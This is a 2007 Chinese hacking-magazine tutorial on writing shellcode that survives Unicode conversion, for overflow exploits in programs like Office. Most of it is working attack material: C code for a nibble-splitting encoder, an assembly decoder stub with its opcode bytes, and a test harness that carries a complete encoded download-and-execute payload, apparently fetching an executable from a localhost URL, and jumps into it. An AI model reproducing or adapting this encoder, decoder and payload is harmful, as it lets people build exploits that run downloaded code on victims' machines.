來源:http://www.neeao.com/blog/article-4054.html
文章作者:gyzy [E.S.T](www.gyzy.org)
信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
本文已經(jīng)發(fā)表在《黑客防線》2007年5月刊。作者及《黑客防線》保留版權(quán),轉(zhuǎn)載請注明原始出處。
適合讀者:溢出愛好者
前置知識:匯編語言、Shellcode基本原理
編寫Unicode有效的Shellcode
文/圖 gyzy[江蘇大學(xué)信息安全系&EST]
對
于溢出愛好者來說,能夠編寫Shellcode是一個必備的基本技能,特別是能應(yīng)對各種在實際情況中對Shellcode存在各種限制條件的時候,這種能
力就顯得尤為重要了。黑防2007年第二期中介紹了純字母數(shù)字的Shellcode的編寫,在3期中的WinRAR
7z溢出中就派上了用場。Unicode大家應(yīng)該不陌生,在一些大型程序中,比如Word、Excel考慮到不同語言平臺的差異性,都會使用
Unicode,在利用這些漏洞的時候,我們以往的Shellcode就難以適用了。一個普通的Down&Exec的Shellcode經(jīng)過
MultiByteToWideChar函數(shù)轉(zhuǎn)換成Unicode后,如圖1

圖1
Shellcode編寫的思路
可
能有的讀者認為只要先將Shellcode寫好,然后用WideCharToMultiByte函數(shù)轉(zhuǎn)換成ASCII碼就可以了,再經(jīng)過程序轉(zhuǎn)換成
Unicode就可以了,但事實不是這樣的,在轉(zhuǎn)換成Unicode的時候,轉(zhuǎn)換函數(shù)會根據(jù)當前使用的代碼頁進行轉(zhuǎn)換,比如大寫字母'A'(\x41)被
轉(zhuǎn)換成\x41\x00,但是第一個字節(jié)>0x80或者第二個字節(jié)不是\x00的時候,情況就不是這么簡單了,
MultiByteToWideChar會查找代碼頁中的對應(yīng)結(jié)果,假如找不到就會有\(zhòng)x3F(?)代替,表示有錯誤。所以大家看到為什么圖1中轉(zhuǎn)換后的
Shellcode會出現(xiàn)問號。這兒我們還是采取分段編碼,如下:
| |
| 解碼頭部 |
-----------------------------
| 拆分編碼的 |
| 原ShellCode |
為
了保護原始的Shellcode,我們將原始的Shellcode每個字節(jié)都拆分成兩個字節(jié),高4位和低4位均加上0x61(a),由于4位只能表示0-
15,所以每個字節(jié)都可以拆成a-p的兩個字節(jié),這樣就順利的躲過了編碼轉(zhuǎn)換的問題,剩下的就是構(gòu)造盡量小的解碼頭,使之轉(zhuǎn)換不出現(xiàn)0x3F。當然,最理
想的情況就是解碼頭在ASCII碼的情況下是純字符,這兒我介紹的解碼頭不是純字符,在MultiByteToWideChar中使用不同的代碼頁轉(zhuǎn)換出
的結(jié)果都是不一樣的,也就是Shellcode可能無法實現(xiàn)跨語言平臺,上述的純字符解碼頭則可以跨語言平臺實現(xiàn)通用。
編寫實例
有了思路后就剩下編碼的問題了,分成4部分分別加以闡述
1)對原Shellcode進行拆分編碼,編碼的思路已經(jīng)說過,下面是編碼部分的代碼:
//shellcode1指向待編碼的Shellcode、pShellcode 是指向其的指針
//詳見encode.cpp
BYTE* pShellcode = shellcode1;
char high,low;
for( int i = 0 ; i < sizeof(shellcode1) - 1 ; i++,pShellcode++)
{
high = low = *pShellcode ;
//對高4位進行編碼
high >>= 4; //將高4位移至低4位
high &= 0xF; //清零移位后的高4位
high += 0x61;
//對低4位進行編碼
low &= 0xF; //清零高4位
low += 0x61 ;
printf("%c%c",high,low); //輸出編碼后的結(jié)果
}
printf("%d",(sizeof(shellcode1) - 1)*2);
編碼前和編碼后的Shellcode分別如圖2和3所示:

圖2

3
例如編碼前第一個字節(jié)\xE9高4位和低4位分別是\xE和\x9,加上0x61后就是0x6F(o)和0x6A(j)。
2)解碼頭的編寫,必須保證轉(zhuǎn)換成ASCII后沒有出現(xiàn)0x3F,匯編代碼如下所示:
__asm{
ADD CX,0x330 // 66 81 C1 30 03
ADD ESI,30 //83C6 30
MOV ESI,ESP //8BF4
PUSH ESI //56
MOV EDI,ESI //8B FE
NOP //90
decode:
LODS BYTE PTR DS:[ESI] //AC
SUB AX,0x61 //66 2D 61 00
SHL AX,4 //66 C1 E0 04
NOP //90
MOV DX,AX //66 8B D0
NOP //90
INC ESI //46
NOP //90
LODS BYTE PTR DS:[ESI]//AC
NOP //90
SUB AL,0x61 //2C 61
PUSH ECX //51
ADD AL,DL //02 C2
POP ECX //59
STOS BYTE PTR ES:[EDI]//AA
NOP //90
INC ESI //46
NOP //90
DEC ECX //49
JNZ decode //75 E0
NOP //90
RETN //C3
NOP //90
}
有幾點需要注意,保持解碼頭為偶數(shù)個字節(jié),因為Unicode是雙字節(jié)碼,碰到有0x3F的情況,在不影響指令的前提下進行等價變換。如上解碼頭被轉(zhuǎn)換成ASCII的情況下為:
"\xC4\x58\xA5\xC1\xD6\x5F\xC8\x43\xA5\xC6\xD7\x50\xDB\xB1\x95\xBB"
"\x90\xE6\xEA\xC0\xAC\xA6\xE5\xCC\xBE\xAF\xDB\xA6\xDF\x58\xDA\xF9"
"\x90\xE5\xA8\xBB\x8A\x91\xD0\xB0\xDF\x58\xAE\x74\xBF\xA4\xE0\x41"
3)測試代碼
測試代碼如下,模擬了溢出發(fā)生時的情況:
unsigned char encoded[] =
"\xC4\x58\xA5\xC1\xD6\x5F\xC8\x43\xA5\xC6\xD7\x50\xDB\xB1\x95\xBB"
"\x90\xE6\xEA\xC0\xAC\xA6\xE5\xCC\xBE\xAF\xDB\xA6\xDF\x58\xDA\xF9"
"\x90\xE5\xA8\xBB\x8A\x91\xD0\xB0\xDF\x58\xAE\x74\xBF\xA4\xE0\x41"
"ojngaaaaaafkgekbdaaaaaaaileaamilhabmknileaaiilniilhddmilhebohiadpdilhocaadplileo"
"beddonfgfhfbildpadplilpcgkaofjpdkgheaifjfpidmhaeefocojfjfpfoilmnilegceadmdnbobad"
"mbddmjggilaiilegbmadmdmbobacadmbilaaadmdilpkilphidmgaoilnagkaefjoifbaaaaaaidmgan"
"fcfgppfhpmfkilnigkabfjoidoaaaaaaidmgbdfgegiadoiahfpkiadgiafoidomcailnmgkcafdppfh"
"ommhaeadfmgbcogfmheeadaehigfaaaaddmafafafdfgfappfhpmilnmgkabfdppfhpafappfhpeddma"
"kmifmahfpjfbfcfgfdppncfkfjklocooddmamdoicfppppppehgfhefahcgpgdebgegehcgfhdhdaaeh"
"gfhefdhjhdhegfgneegjhcgfgdhegphchjebaafhgjgoefhigfgdaaefhigjhefegihcgfgbgeaaemgp"
"gbgeemgjgchcgbhchjebaahfhcgmgngpgoaafffcemeegphhgogmgpgbgefegpeggjgmgfebaagihehe"
"hadkcpcpdbdcdhcodacodacodbcpghhjhkhjcogfhigfia";
void main()
{
WCHAR encshellcode[1024];
memset(encshellcode,0,2048);
//將Shellcode轉(zhuǎn)換成Unicode形式
MultiByteToWideChar(CP_ACP,0,(LPCSTR)encoded,sizeof(encoded)-1,encshellcode,1024);
//模擬溢出發(fā)生時JMP ESP后ESP指向Shellcode的情況
__asm LEA ESP,encshellcode
__asm XOR ECX,ECX
__asm JMP ESP
}
在經(jīng)過MultiByteToWideChar編碼轉(zhuǎn)換下,Shellcode仍然成功執(zhí)行了,如圖4:

圖4
小結(jié)
Shellcode也是一門學(xué)問,平時要注意這方面的學(xué)習(xí),以免發(fā)生“Shellcode到用時方很少”的尷尬局面,特別是在Office系列文件的溢出中,經(jīng)常會出現(xiàn)編碼轉(zhuǎn)換的問題,希望能給廣大黑友帶來一點幫助,本人也是菜鳥,如有錯誤紕漏,歡迎指正。
(文中所涉及的程序或代碼,請到黑防官方網(wǎng)站下載,詳細地址請看公共論壇置頂帖)